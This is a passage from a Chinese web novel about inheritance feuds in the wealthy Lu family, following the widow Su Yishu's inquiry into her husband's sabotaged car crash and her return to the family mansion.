“跳梁小丑而已。老头子手里攥着的那点股份,只要我不点头,谁也坐不稳那个位子。”陆慎冷笑,他这些年对擎天的掌控早就不在明面上,“陆子勋在国外待久了,真以为陆家还是当年那个靠论资排辈就能拿权的地方?”
“三爷,还有一件事……”周轩犹豫了一下,声音压得更低,“我们的人发现,陆彦昨天深夜秘密见了赵西双。两人在赵家旗下的私人会所待了两个小时,出来时,两人的神色都非常愉悦,看来,是达成了什么共识。”
陆慎的眼神终于有了一丝波动,却是更深一层的厌恶。
陆彦这只笑面虎,动作比他想象的还要快,刚回国就盯上了赵家这条疯狗。
“盯紧他们。既然陆彦想玩,我就陪他玩一场大的。”陆慎缓缓起身,整理了一下并没有褶皱的袖扣,“苏氏那边呢?”
“苏振东现在可谓是春风得意。”周轩语气讥讽,“他搭上
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了赵家城南度假村的顺风车,以为找到了新的靠山。今天一早,他刚带着刘芹去了医院,大张旗鼓地去探望苏可人。”
医院,特护病房。
苏振东满面红光,手里拎着名贵的补品,连走路都带风。
身后的刘芹更是穿金戴银,生怕别人不知道她现在的身份,距离苏家女主人的位置更近一步了。
“可人呐,你可得争口气!”
苏振东一进门,就凑到苏可人的病床前,目光死死盯着她那个还没显怀的肚子,仿佛在那看的不是外孙,而是一座金山。
“爸,你怎么这时候来了?”苏可人靠在床头,脸色还有些苍白,但眼神里却透着一股得意的精光。
“我有预感,陆家这回是要大洗牌了!”苏振东坐在床边,压低声音道,“陆慎为了苏亦姝跟老爷子闹翻了,现在已经被踢出了董事会。三房的陆彦刚回来,正是缺盟友的时候。只要你肚子里这个‘陆家金孙’平平安安生下来,到时候不管是陆慎还是陆彦,都得看咱们苏家的脸色!”
苏亦姝在苏振东看来,已经彻底成了一枚弃子。没了自己的支持,又被陆家厌弃,那个死丫头在外面能不能活下去都是个问题。
原本,他还担心因为苏亦姝的事情,让陆家会对付他。毕竟,苏亦姝勾引小叔子,这么**的事情,陆家这么大的家族,怎么能容忍的下?
等了好几天,见陆家那边没有任何动作,苏振东这才松了口气。
恰好,赵家那边的合作,也送过来了。他第一时间就签字了,生怕有个什么意外。
刘芹在一旁帮腔道:“就是,可人,你现在可是咱们全家的希望。苏亦姝那个丧门星,当初占着陆慎的宠爱耀武扬威,现在怎么样?还不是像条狗一样被撵了出去。以后这江城,还得是咱们可人的天下。”
苏可人抚摸着小腹,眼底闪过一抹阴狠。
苏亦姝,你斗了这么久,最后还不是一无所有?等我进了陆家的门,看我怎么一寸一寸剥了你的皮!
就怕,你等不到那个时候……
第七十七章 顺藤摸瓜,陆钦的车祸
云城边陲,空气中透着雨后泥土的清醒,远离了江城的波诡云谲,这片静谧成了苏亦姝最好的疗伤地。
木质的小阁楼内,苏亦姝正坐在窗前,她左手的夹板已经拆除,虽然偶尔用力还会有些酸胀。
但比起前些日子的虚弱,此时的她眼神清明,周身透着一股凌厉的肃杀之气。
苏亦姝站在窗前,指尖轻轻摩挲着一张方思荷出事前留下的照片。
照片上的女孩笑得灿烂,可现在,她却只能躺在冰冷的病房里,靠着冰冷的仪器维持着微弱的呼吸。
这笔账,苏亦姝每一天都在心里算。
“亦姝,关于撞向您的那辆货车,目前所有的口供和物证都指向‘司机疲劳驾驶’,司机没有任何不良记录和负债。看起来,这确实像是一场倒霉的意外。”
顾向南走了进来,手里拿着一叠资料。
顾向南是苏亦姝在国外认识的一个朋友,专门做**。苏亦姝在住进云城这边之后,就打电话请他过来了。
顾向南也非常讲义气,接到苏亦姝电话,第一时间就过来了。
“意外?”苏亦姝冷笑一声,转过身来,眼底是一片浓得化不开的墨色,“在江城,在这节骨眼上,最不缺的就是人为的意外。那个司机的家人呢?”
顾向南递上一份资料。
“查过了,出事后的第三天,他老婆孩子就搬离了原来的住处。说是回老家避难,顺带带着骨灰回去下葬。但我们的人查到,他老家的一个亲戚账户里,莫名其妙多了一笔二百万的转账。只不过,这笔钱转账路径做了伪装,暂时还没查到。”
苏亦姝接过那份账户明细,指尖扫过那一串零。
两百万,买一个司机的命再加上他全家的守口如瓶,这在江城的黑市确实是个合理的买命钱。
“能在这么短时间内完成多重路径转账,甚至避开了江城警方的初审,对方的手段很老练。”
顾向南拉过一把椅子坐下,神色严峻。
“亦姝,这笔钱的源头虽然还没完全破译,但这种**的手法,带有很明显的东南亚贸易背景。”
“东南亚……”苏亦姝喃喃自语。
赵家在东南亚有深厚的根基,程丽梅母家当年也是靠外贸起家的。这两个人,谁都有嫌疑,甚至可能是联手。
她走到窗边,推开窗户,微凉的风扑面而来,让她清醒了许多。
“向南,除了这桩车祸,我让你查的另一件事,有眉目了吗?”
顾向南沉默了片刻,从背包里取出一个黄色的档案袋,轻轻放在桌上。
“你说陆钦的车祸……”顾向南的声音沉了下去,“我也觉得巧,在我查这次撞你的货车司机时,顺着江城几家大型汽修厂的脉络,找到了我一个朋友阿强,他是专门在陆氏指定的汽车维护中心做高级技师。”
苏亦姝的心跳猛地漏了一拍,她回过头,死死盯着那个档案袋。
“他说,陆钦出事的那辆车,在案发前一天其实进过厂做例行保养。”顾向南神色复杂,“他在检测时发现,车辆的转向横拉杆有被化学试剂腐蚀的痕迹。这种腐蚀在平时看不出来,但只要车速超过一百一,横拉杆就会因为受力不均发生断裂。”
苏亦姝的呼吸变得急促,那种压抑了的窒息感再次席卷而来。
“他当时正准备如实记录,并申请封存车辆。结果……”
顾向南顿了顿,语气变得有些耐人寻味,“陆家来人了。对方没有等保养流程走完,就以‘急用’为由,强行拿走了钥匙,把那辆还没检修完的车开走了。”
苏亦姝愣住了,眼底闪烁着暗芒。
“谁去提的车?”
“陆钦本人!”
“陆钦本人?”
苏亦姝的声音猛地拔高,指尖颤抖着按在桌沿,因为受伤还没恢复,有些无力感。
她设想过无数种可能——程丽梅的阴谋、陆老爷子的断尾求生、甚至是陆慎的默认。
唯独没想过,最后亲自把那辆车开走的,竟然是陆钦自己。
“这不可能……”苏亦姝喃喃自语,明显有些不相信。“他那天明明答应我,保养完车就带我去郊外野餐。他做事一向稳重,绝不会在保养没结束时强行提车。除非……”
“除非当时发生了比他的命更紧急的事。”
顾向南神色凝重地打断她,从黄色档案袋里抽出一张复印件。
“这是我朋友阿强凭记忆复原的当时的提车单,上面的签名虽然潦草,但确实是陆钦的笔迹。而且阿强记得,陆钦提车时神色非常焦灼,一直在接电话,隐约
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提到了‘老宅’、‘别动她’之类的字眼。”
别动她?
苏亦姝心口猛地一缩。
那个“她”,是指自己吗?陆钦曾私下对她说,他想带她离开江城那个是非之地。
当时,她已经发现了陆钦跟苏可人之间的事情,只是还没捅破。后来,事情捅破了,她跟陆钦之间,也极少见面,若不是当时的情况,她都打算解除婚约。
“那个打给他的电话,估计跟车祸有关吧。”苏亦姝迅速冷静下来,她告诉自己不能慌。“向南,能查到那个时间段陆钦的通话记录吗?”
顾向南摇了摇头。“没有陆钦的手机,无法去查。但是,这件事慢慢查,总会有线索的,不是着急的事。”
苏亦姝点点头,确实急不来。
“还有一件事。”顾向南继续道,“我查到陆钦在出事前,曾秘密咨询过关于陆家‘继承权信托资金’的转让问题。后面,确实签过一份信托转让协议,受益人,写的是你的名字。”
苏亦姝猛地睁开眼,瞳孔缩紧。
她犹记得,陆钦似乎提及过这件事,当时,被自己给挡回去了。因为她怕当时陆钦只是说说而已,若是自己真的应下了,搞不好还会适得其反。
可是现在……
“这份协议,现在不知道在哪?”顾向南拧眉。
苏亦姝突然轻扯了下嘴角,还能在哪?估计还在陆家人手中,就是不知道是在陆老爷子还是程丽梅。
不过,这些都不重要了。
顾向南看着她,眼底有些担忧。在他查到这些事情的时候,也有些惊讶。
“亦姝,接下来你打算怎么办?如果你现在回江城,无异于羊入虎口。陆家老三一家回来了,江城现在就是一个大染缸。”
苏亦姝眼底的最后一丝温软彻底消失,取而代之的是极致的冷静。
她站起身,拿起桌上的电脑,快速输入了一串指令。
“向南,帮我做两件事:
第一,继续盯着那两百万的转账路径。我要确凿的证据,不管是赵西双还是程丽梅,我要她们付出代价。
第二,帮我联系你那位朋友。我要他亲笔签名的证词。”
“那你呢?”
苏亦姝看向窗外,那是江城的方向。
“我要回江城。”
第七十八章 三房发难
江城的雨落得无声无息,却将整座城市浸泡在一种黏稠的压抑感中。
一辆低调的黑色轿车缓缓驶入陆家老宅那扇沉重的朱漆大门。
苏亦姝端坐在后座,一袭剪裁得体的黛青色旗袍,外罩一件同色系的羊绒大衣,衬得她本就清冷的姿容愈发像一株破雪而出的寒梅。
她看着熟悉的地方,心中觉得好笑。
就在她刚进自己的公寓,陆家的车子就出现在了她公寓楼下。
这速度,比江城出警的速度还要快。
其实,她在决定回江城的时候,就已经预测到了会有这一出,心中,也做好了准备。
只是,再踏入这座宅院的时候,心中还是难免有些波动。
另一边,陆慎也是第一时间得到消息,但是速度,还是慢了老爷子一步。
他第一时间,决定回老宅。
刚走两步,就被顾从之给紧紧拉住。
“松开!”陆慎眼眶通红,语气中夹杂着一丝焦急。“我要去老宅找她!”
“你冷静点!”顾从之和陈淮死死按住他的肩膀,陈淮急得大喊,“苏亦姝既然敢回来,说明她做好了准备。你现在冲过去,除了落得个‘色令智昏’的罪名,让老爷子更厌恶她,还能干什么?”
陆慎僵在原地,胸口剧烈起伏。
这些,他不是不知道。可是,他迫切的想要见到她,想要看看她是否安好。
但是,一想到她看自己那平静的眼眸,心中一痛。
她恨他。
最终,陆慎颓然地跌回椅子里,指甲深深抠进掌心。
陆家老宅,听雨阁前。
苏亦姝刚下车,还没踏入内厅,便迎面撞上了正要出门的陆玥。
陆玥今日穿了一件极艳的火红短裙,手里拎着赵西双刚送她的高定包。
看到苏亦姝的一瞬间,她先是愣了一下,随即那张明艳的脸上便浮现出浓浓的鄙夷。
“哟,我当是谁呢,原来是那位把江城闹得天翻地覆的‘丧门星’大嫂啊?”
陆玥双手抱胸,踩着细高跟走近,声音娇纵而尖锐,“怎么,在外头躲不下去了?想回来求爷爷收留?也是,像你这种克**我大哥,又勾引我三哥的女人,除了这张脸,还有什么本事?”
苏亦姝脚步微顿,目光平淡地掠过陆玥那张因刻薄而显得扭曲的小脸,甚至连眉头都没皱一下。
“陆玥,你既然知道我是你大嫂,就该明白‘长幼尊卑’这四个字怎么写。”
“大嫂?你也配!”陆玥嗤笑一声,眼底的讽刺清晰可见,“你不过是咱们陆家养在笼子里的一只玩意儿,一个寡妇,竟然这么不安分,还到处勾引人,你就是个狐狸精……”
“啪!”
一声清脆的耳光,在寂静的回廊里显得格外刺耳。
陆玥的话戛然而止,她歪过头,半边脸颊迅速红肿起来,整个人被打得一个趔趄,跌坐在台阶上。
苏亦姝收回那只没有受伤的右手,动作矜贵地从包里取出一方丝帕,慢条斯理地擦拭着指缝,仿佛刚才碰到了什么极脏的东西。
“陆玥,没人教过你,在江城提苏家人的名字,是要付出代价的吗?”
“你……你敢打我?!”陆玥尖叫着就要扑上来,却在此时,回廊另一端传来了整齐的脚步声。
“住手!”
陆子勋夫妇在陆彦的陪同下快步赶来。
陆子勋脸色阴沉得几乎要滴出水来,而他的妻子何婉如更是尖叫着扑向陆玥。
“玥玥!我的女儿啊!你的脸?怎么被打成这样了?谁打的?”
陆玥看到自己父母,顿时一脸委屈大哭。“妈,是她,是这个女人!”
陆玥指着苏亦姝,眼底涌起一股怨恨还有得意。
何婉如看着苏亦姝,一脸怒意。
“你是何人?敢在我陆家出手**?”
何婉如心疼地捧着陆玥红肿的脸,转头看向苏亦姝时,眼神恨不得化作刀子。
她当然知道眼前这个女人是谁。只是,那又如何?一个上不了台面又不安分的狐狸精罢了。
“我是何人?”苏亦姝闻言,竟然轻笑了一声。
她随手将那方擦过手的丝帕丢进一旁的垃圾桶,动作优雅怡然,“这位想必就是三婶了吧?出门在外多年,看来三婶不仅忘了江城的风气,连家里的人丁册子也记不清了。”
“你——!”何婉如气得倒吸一口凉气,“你就是那个苏亦姝?果然如传闻中一般,半点教养都没有!玥玥是你的小姑子,你一回老宅就大打出手,还有没有把我们这两个长辈放在眼里?”
陆子勋阴沉着脸走上前,他双手负后,端出一副世家尊长的威严,目光如隼利般盯着苏亦姝。
“苏亦姝,我陆家虽容得下孤寡,却容不下泼妇。”陆子勋声音低沉,带着一股上位者的威压,“即便阿慎以前宠着你,让你忘了分寸,但我陆子勋回
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来了,这陆家的规矩就得立起来。玥玥即便言语有失,也轮不到你一个外姓人来教训。跪下,给玥玥道歉。”
“跪下?”
苏亦姝细细咀嚼着这两个字,像是听到了什么天大的笑话。
她不卑不亢地对上陆子勋的视线,脊梁挺得笔直,黛青色的旗袍在微风中微微拂动。
“三叔,陆家的规矩确实该立,但首先要立的,是‘廉耻’二字。”
苏亦姝语调清冷,面带从容,没有半点紧张胆怯。“陆玥方才在大庭广众之下,羞辱亡故的长房长孙,编排家族丑闻。若是按照陆家百年前的家法,这叫‘乱家之本’,是要送去祠堂受戒鞭的。我这一巴掌,是救了她,也是全了三叔您的面子。”
“口齿伶俐!”陆子勋怒极反笑,眼中闪过一抹阴狠,“苏家教出来的女儿,果然只会这些登不得台面的狡辩。你克死陆钦在前,祸乱陆慎在后,如今还敢在我面前谈廉耻?苏亦姝,你的名字在江城早就发臭了,若不是老爷子仁慈,你以为你进得了这扇门?”
“名字臭不臭,不是三叔说了算的。”
苏亦姝面不改色,甚至往前走了一步,逼视着那对傲慢的夫妇,“苏家虽然不如陆家,但我苏亦姝还是陆家明媒正娶进门的媳妇。三叔若觉得我不配,大可以去正厅让爷爷当众开了陆家的族谱,把我除名。否则,只要我在这老宅一天,陆玥见到我,就得恭恭敬敬喊一声‘大嫂’。”
“你算哪门子大嫂!”陆玥躲在母亲怀里尖叫,“你就是个……”
“玥玥,住口。”
一直站在后方观战的陆彦突然开口。
他缓步走上前,目光在苏亦姝那张因愤怒而生动起来的脸上流连。
他发现,比起照片上的死板,真实的苏亦姝有一种惊心动魄的美,那是阅尽千帆后的淡然,也是孤注一掷的狠戾。
“父亲,母亲,嫂子刚回江城,难免心浮气躁。”
陆彦微微一笑,语气温润得挑不出错,甚至还带着一丝礼节性的关怀。
“再怎么说,嫂子也是爷爷亲自派人接回来的。咱们在这里争执,没得让下人看了笑话,也让爷爷久等。”
他转过头,对着苏亦姝微微颔首,笑意不达眼底。
“嫂子,陆彦在此,替舍妹给嫂子赔个不是。不过……”他语气一转,带着一丝玩味,“爷爷的脾气你是知道的,正厅那杯茶,恐怕不好喝。”
第七十九章 震惊,老爷子怎么会护着她
苏亦姝在陆彦出现的那一刻,就已经注意到他了。
虽然之前没见过,但她一眼就认出了,他就是陆彦。
心中冷笑,还真是装模作样。不过这城府,确实有些深。
“不劳费心。”苏亦姝冷淡回敬,看都没看陆彦一眼,径直越过三房众人,朝着正厅走去。
陆域坐在轮椅上,在廊柱阴影处将这一切收进眼底。
他摩擦着膝盖上的毯子,阴鸷地笑了。
陆彦,想玩‘怜香惜玉’那一套?小心这带刺的玫瑰,最后扎穿你的心窝子。
正厅内,檀香缭绕,气氛有些压抑。
陆老爷子端坐在黄花梨主位上,苍老的手指有节奏地拨动着一串油亮的沉香木珠。
当苏亦姝跨入门槛的那一刻,老爷子的动作微微一顿,浑浊却锐利的目光落在她身上,沉吟良久。
出乎所有人的预料,预想中的雷霆之怒并未降临。
“回来了。”老爷子声音苍老而平静,甚至带着几分长辈的关切,“在外面受了惊,在那边调理得可还好?怎的也不给家里递个信,没得让人挂心。”
苏亦姝站在厅中,姿态从容,面色温和。
她微微颔首,言简意赅地答道:“劳爷爷挂心,在那边养伤,也顺便清静清静。”
关于陆慎的一字一句,两人极有默契地只字不提。
陆慎为了她自毁前程,这本是陆家的禁忌,此时提起来,只会撕破最后那层遮羞布。
“清静是好事。”老爷子点点头,“可有些事,单凭清静是解决不了的。”
“爷爷说得对。”
苏亦姝抬起眸子,目光如冷箭一般掠过在座的每一个人,最后定格在老爷子和程丽梅那张僵硬的脸上。。
“所以,我趁着这段时间,也顺带查了查那场撞向我的车祸。”
此话一出,正厅内的温度瞬间降到了冰点。
程丽梅手中转动的念珠猛地一偏,虽未抬头,但那急促的呼吸声还是引起了苏亦姝的注意。
老爷子眼皮微抬,眼底闪过一抹深不可测的光,却并没点破苏亦姝那带着审视的意图。
就在此时,一阵尖锐的哭声打破了死寂。
“爷爷!你要替我做主啊!”陆玥提着红裙,哭得梨花带雨地冲了进来,直接扑倒在老爷子膝边,指着自己肿起的半边脸尖叫。
“这个女人,她疯了!她一进门就打我!爸妈都在跟前看着呢,她半点长辈的面子都不给!”
陆子勋夫妇紧随其后。
何婉如眼眶通红,捏着帕子阴阳怪气地开口:“爸,这亦姝刚回来,火气确实大了些。我们做长辈的原本想问候几句,谁知她一开口就教训起玥玥来了。这玥玥在国外也是娇生惯养长大的,哪受过这种气?”
老爷子看着陆玥那张红肿的脸,眉头紧锁,转向苏亦姝,语气沉了几分。
“亦姝,究竟是怎么回事?”
苏亦姝看着陆玥那副得意的嘴脸,眼底的讥讽毫不遮掩,她冷冷开口。
“陆玥说,陆钦已经**,我不过是个不配进陆家大门的寡妇。她还说,我这种‘丧门星’,早该滚出陆家了。”
“嘶——”
厅内瞬间响起了一连串倒吸凉气的声音。
“放肆!”
陆老爷子猛地一拍桌子,由于用力过猛,桌上的茶杯盖被震得“咣当”一声。
他那双浑浊的眼此时布满了可怖的威严,盯着陆玥。
陆家最重门楣,陆钦作为长房长孙,那是老爷子曾经倾注最多心血的**人。
即便人不在了,陆家的尊严也绝不容许族中小辈如此践踏。
“陆玥,你当真是这么说的?”老爷子低吼道。
陆玥被这从未有过的怒火吓得瘫坐在地,脸色惨白,张了张嘴,却在苏亦姝冰冷的注视下,一个字也辩解不出来。
“爸,玥玥她年纪小,是一时口快……”何婉如吓得赶紧上前求情。
“年纪小?”程丽梅猛地站了起来,她本就因为陆钦的死耿耿于怀,她那双通红的眼死死盯着陆玥,“她咒我儿子死,说我儿媳不配进门?陆子勋,这就是你教出来的好女儿?”
陆彦见势不妙,立刻上前一步,挡在陆玥身前,温润的嗓音带着几分诚恳。
“爷爷,大嫂,玥玥确实失言了。不如这样,玥玥这段时间的零用开销减半,我亲自带她去祠堂罚跪思过。毕竟是一家人,若是闹开了,对咱们陆家的名声也不好。”
他这一番话,看似在认错,实则是想把
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这事化解成小矛盾。
“四弟这话的意思,是觉得我丈夫陆钦**,就不算陆家人了?”苏亦姝冷笑打断,“所以,我这个遗孀,在你们眼里活该被人指着鼻子羞辱,然后轻飘飘一句‘失言’就能遮掩过去?”
“大嫂,我们没那个意思……”陆彦的笑容微微僵硬。
苏亦姝根本没打算给他解释的机会,她转头看向面色铁青的老爷子,语气平静却有力道。
“爷爷,三叔方才在院外,还逼着我跪下给陆玥道歉。我竟不知,这陆家的长幼尊卑,什么时候成了按‘三房’的喜好来定的了?”
“啪!”
老爷子反手一记耳光,狠狠抽在了离他最近的陆子勋脸上。
“混账东西!跪下!”
老爷子怒火中烧,指着陆子勋的鼻子骂道:“我还没死呢!这陆家的大门,什么时候轮到你们来指手画脚了?陆钦是我陆家的长房,亦姝就是名正言顺的陆家长媳!你们让长媳给玥玥下跪?你们是想要我的命,还是要陆家的运!”
正厅内,陆子勋夫妇吓得双腿一软,齐刷刷跪倒在地。
陆玥哭都不敢哭出声,整个三房瞬间陷入了一片死寂的惶恐中。
他们怎么都没想到,老爷子会这般激动?
一个苏亦姝而已,在他们看来,就是一个上不了台面的寡妇!
苏亦姝冷眼看着这出闹剧,心中却无半点波澜。
她很清楚,老爷子的怒火并非全是为了护她,而是因为陆子勋一家最近的行为。
陆子勋和陆彦以为他们做的神不知鬼不觉,其实,老爷子这双眼睛盯着呢。
老爷子虽然看似温和,但是在触及到利益和权利的时候,还是非常在意的。
尤其是,他心中还在念着陆慎,希望他能回来。
再一个,也算是给她苏亦姝一个交代。毕竟,若是她真的闹起来,不依不饶的,陆家没得歇停。再一个,他担心陆慎那边会有什么动作!
种种因素,这才让三房吃这么一个亏。
她微微侧过脸,看向门口。
陆域正坐在轮椅上,阴影遮住了他的神情,唯有那双眼,在灯光下闪烁着看戏般的诡谲冷光。
他缓缓进来,看向苏亦姝,点了点头。
第八十章 画地为牢
正厅内的气氛因陆子勋父女而降至冰点。
陆子勋捂着脸,眼底深处掠过一抹极浓的戾气,却只能生生压下,伏首贴地。
“爷爷,三叔和玥玥许是离家太久,忘了咱们陆家的祖宗规矩,您保重身体,莫要气坏了。”
随着一阵不轻不重的轮椅声,陆域缓缓从门口滑入。
他那张常年苍白的脸上带着一丝若有若无的病态笑意,看向苏亦姝时,眼神里多了一层只有两人读得懂的深意。
陆域转头看向老爷子,语气中带着几分深思。
“爷爷,大嫂自从进了我们陆家的门,也是循规蹈矩,从未有任何逾越。很多事情,我们都看在眼里。就算是在苏可人的事情,大嫂也没有任何计较,而是全权为了陆家着想。今日玥玥这事若是传出去,外头人还不知怎么想我们陆家。”
陆域这话明着是劝,实则是火上浇油。
老爷子拨弄佛珠的动作缓了下来,他重新坐回位子,目光深邃地打量着苏亦姝。
这个孙媳妇,比他预想中更有韧性,瞥开陆慎不谈,品行还有能力,胜过他陆家几个小辈。
老爷子沉吟片刻,突然话锋一转,语气竟带了几分商量。
“亦姝,阿慎这段时间不在公司,擎天内部有些浮躁。你在工作上的能力,我一直是认可的。你对公司目前的局面……有什么看法?”
此话一出,跪在地上的陆子勋和站在一旁的陆彦猛地抬头,眼中满是不可置信。
一个寡妇,老爷子竟然在问她对公司局面的看法?
苏亦姝垂下眼睫,掩盖住眼底那一抹冷嘲。
她深知老爷子这是在试探,试探她回来的目的,也试探她和陆慎之间是否还有私下的勾连。
“爷爷抬举了。我这段时间只顾着养伤,对擎天的事一概不知,更没有任何看法。”苏亦姝声音清冷,不卑不亢,“何况,我一个妇道人家,不适合插手擎天的大事。”
“大嫂何必过谦?”陆域突然横插一杠,似笑非笑地开口,“当初大哥在擎天留下的位置,至今还空着。那百分之八的股份,原本也一直挂在信托里。其实,大嫂作为大哥的遗孀,接手那部分股份和职位,在我看来,也是名正言顺。”
“陆域!”程丽梅出声警告,她不知道陆域这话到底是什么意思!
她虽然不喜苏亦姝,更恨三房**,但要把陆钦留下的遗产交给苏亦姝这个“外人”,那是绝对不行的。
可在这个当口,她看着老爷子阴晴不定的脸色,竟硬生生把后面的话咽了回去。
苏亦姝看向陆域,眉头微不可察地拧了一下。他们的交易里,可没有这一出。
“不用。”苏亦姝淡淡拒绝,语气坚决,“陆钦的东西,我不需要。这些股份,理应归还陆家,或者,给婆婆。”
程丽梅愣了下,有些惊讶。心中冷笑,算你识相。
苏亦姝越是拒绝,老爷子心中的那杆秤反而越是倾斜。
如果苏亦姝一回来就狮子大张口,他或许会生出戒心;
可她表现得如此淡泊,而且态度这般坚决,老爷子心中是有想法的。
“阿钦对你,是在意的,否则,当初也不会特地来找我,想要求娶你。”老爷子长叹一声,神情竟生出几分真切的感慨。
“只是,谁也没想到后来的事情。他走得早,没能护你一辈子。他留下的东西,本就该是你这个妻子继承。陆家没有让遗孀流落在外、两手空空的道理。”
老爷子环视了一圈面色各异的众人,最后冷冷扫过陆子勋。
“这件事就这么定了。阿钦名下那百分之八的股份,即日起全部转入亦姝名下。等伤养好了,亦姝直接进董事会,代长房行使投票权。”
“爸!”陆子勋惊呼出声,“这不合规矩!她一个苏家……”
“规矩是我定的!”老爷子一拍桌子,断了他的话,“再说,亦姝是我陆家的人!她接手阿钦的东西,理所当然!”
陆子勋脸色瞬间由红转白,又由白转青,彻底哑了火。
陆彦站在那,指甲死死陷进掌心。
他筹谋多年,回国第一局,竟然输在了一个他自以为可以**于股掌之间的女人身上。
他看向苏亦姝,只见她依然静静立在那里,脸上没有半分喜悦,甚至带着一种看透世俗的凉薄。
这样的女人,若不能为他所用,就必须彻底除掉。
苏亦姝察觉到陆彦的视线,却没回头。
她知道,这百分之八的股份不是补偿,而是老爷子亲手递给她的一把刀,让她去搅浑三房和陆慎之间的那池水。
再一个,是为了稳住她,让她的身份依旧是陆家遗孀,陆家长孙陆钦的妻子!
这样一来,她跟陆慎之间,永远都是寡嫂和小叔子的身份。
陆老爷子缓缓起身,福伯立刻上前搀扶。
他看向苏亦姝,眼神中透着一种长辈特有的、不容置疑的“慈爱”。
“既然事情定下了,亦姝,你就搬回老宅住吧。”
老爷子话音刚落,厅内众人的脸色又是一变,“你那公寓终究
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是冷清了些,你左手的伤还没好利索,老宅这边人手齐全,医疗团队二十四小时待命,调理起来也快。”
这哪里是调理,分明是圈禁。
苏亦姝心中冷笑。
老爷子这手棋下得极妙:给了她股份和地位,不仅堵住了悠悠众口,更是在无形中给她套上了一层最沉重的枷锁。只要她住在老宅,她就只能是陆家“长房遗孀”得身份。
更重要的是,防止陆慎找她。
“好。”苏亦姝垂眸,语调听不出半分波澜,“听爷爷安排。”
“嗯,福伯,去把阿钦以前住的院子收拾出来。”老爷子叮嘱道,随后又像是想起了什么,补了一句,“那里的陈设都不要动,亦姝住进去,也算是有个念想。”
一旁的程丽梅脸色惨白,动了动嘴唇,最终还是在老爷子威严的注视下沉默了。
而陆子勋一家,看向苏亦姝的眼神里除了嫉恨,更多了一层浓重的忌惮。
深夜,陆家老宅西侧院。
这里是陆钦生前的居所,自从他出事后,程丽梅因为怕触景生情,一直让人封存着。
推开房门,一股淡淡的冷香扑面而来。
房间里的摆设极简,书架上整齐地码放着陆钦生前爱读的经济类书籍,书桌上的镇纸还压着一张没写完的残墨。
苏亦姝缓步走到窗边,推开雕花木窗。老宅的夜很静,静得能听到枯叶坠地的声音。
江城的雨在入夜后渐渐停了。
陆家老宅外百米处,一辆低调的黑色宾利在路灯下泛着冰冷的金属光泽。
陆慎坐在后座,半张脸隐没在阴影里,手中握着的手机屏幕正亮着,那是老宅内线传来的消息。
陆玥讽刺她是丧门星?
陆子勋逼她下跪?
陆慎盯着屏幕,眼底的戾气如浓墨般散不开。
他甚至能想象出苏亦姝站在那群豺狼虎豹中间,孤身一人却挺直脊梁的模样。
这一刻,他恨不得亲手掐断陆玥的脖子,更恨自己此时的无能为力。
周轩通过后视镜看了一眼陆慎的神色,低声道,“老爷子这招太狠了。把苏小姐关在西侧院,这样一来,陆总您就没办法接近苏小姐了。”
陆慎冷笑一声,那笑声在寂静的车厢里显得格外刺耳。
“老头子以为,弄两道围墙,再往她手里塞点股份,就能断了我的念想?”
他缓缓降下车窗,任由窗外冰冷的空气灌进来。
“他想让苏亦姝守着陆钦那个**的牌位过一辈子,也得看我陆慎准不准。”
第八十一章 你怎么来了
夜渐深,西侧院的草木在微风中发出沙沙的响动。
苏亦姝刚整理完顾向南发来的那份关于两百万资金的初步追踪报告,正揉着有些酸胀的太阳穴。
忽然,窗台处传来一声细微的金属扣动声。
苏亦姝心头一惊,瞬间警觉。
这可是陆家老宅,戒备森严,外人根本进不来。
再一个,这是二楼,高度虽不算高,但外墙光滑,普通人根本上不来。
她放轻脚步走过去。
窗户被推开的一缝隙里,紧接着,一道矫健的黑影动作利落得惊人,单手撑住窗沿,翻身跃入。
苏亦姝愣住了。
陆慎穿着一件墨黑色的风衣,身上带着未干的潮气,额前的碎发被打湿,凌乱地贴在眉骨上,那双总是深不可测的眼里,此刻翻涌着强烈的偏执与狂气。
“你……”苏亦姝愣住了,声音压得极低,“陆慎,你怎么来了?”
陆慎没说话,只是死死地盯着她。
这段时间,他找她都快疯了。那种煎熬,他再也不想感受。
如今**就在眼前,哪怕她眼底全是防备与厌恶,他也觉得胸腔里那颗冷掉的心重新开始疯狂跳动。
“我来看看,长房遗孀的位子,大嫂坐得稳不稳。”陆慎一步步逼近,声音沙哑,带着嘲讽。
“出去。”苏亦姝冷下脸,目光冰冷,“陆慎,你应该清楚这是什么地方,要是被被抓到,是什么后果,你比我清楚。”
她现在对他只有怨恨,恨他的隐瞒,恨他那令人窒息的控制欲。
“后果?”陆慎冷笑,他看着她眼底的冷漠,那种看陌生人的眼神比刀子捅在他身上还疼,“我连命都可以不要,你跟我谈后果?”
下一秒,他再也克制不住积压已久的暴戾与思念,长臂一伸,直接将苏亦姝整个人扣入怀中。
“放开!”苏亦姝挣扎,推搡间,她尚未痊愈的左手撞到了他的硬邦邦的胸膛上,一股钻心的酸胀感袭来,她忍不住倒吸一口凉气,发出一声闷哼。
陆慎浑身一震,动作瞬间僵住。
他几乎是条件反射地抓起她的左手,指尖颤抖地避开伤处,眼里满是心疼,嘴上却依旧狠戾。
“苏亦姝,你也知道疼?我还以为,你是铁打的,不知道疼痛呢!”
苏亦姝强忍着疼,想要抽回手。对陆慎这种人,不能搭理。
陆慎看着她那双倔强清明的眼眸,心中的那根弦彻底崩断。
他不再言语,直接俯身,狠狠地吻上了那张总是吐出冰冷字句的唇。
这个吻充满了血腥气和掠夺性,苦涩且疯狂。
苏亦姝被他抵在书桌边,背后是冰冷的红木,身前是滚烫的恶魔。
她拼命挣扎,却被他紧紧控制着。
就在两人气氛剑拔**张、暧昧与恨意交织到极致时——
“咚咚咚!”
一阵急促且沉重的敲门声突兀地响起。
“亦姝,你睡了吗?”
那是程丽梅的声音。
程丽梅一直派人盯着西侧院。
她太了解自己的小儿子了,陆慎既然能为了苏亦姝连家主之位都不要,翻墙这种事他绝对干得出来。
听到眼线汇报房间有异动,她连披风都没穿好就冲了过来。
“亦姝,我听到房间里有动静,你是不是哪里不舒服?把门打开,让福伯带医疗团队进去看看。”
门外的脚步声杂乱,程丽梅显然不是一个人来的。
苏亦姝的脸色瞬间惨白。
如果此刻被程丽梅撞见陆慎在房间里,那不仅仅是丑闻,而是足以让老爷子当场要了他们两个的命。
陆慎依旧贴着她的唇,鼻尖相抵。
他听着门外的动静,非但没有松手,反而挑衅般地勾起嘴角,在苏亦姝耳边轻声说着。
“大嫂,你说……我若是现在出声,爷爷会把股份收回去,还是直接把我送进祠堂?”
“陆慎,你敢!”苏亦姝眼眶通红,死死盯着他。
“亦姝!开门!”
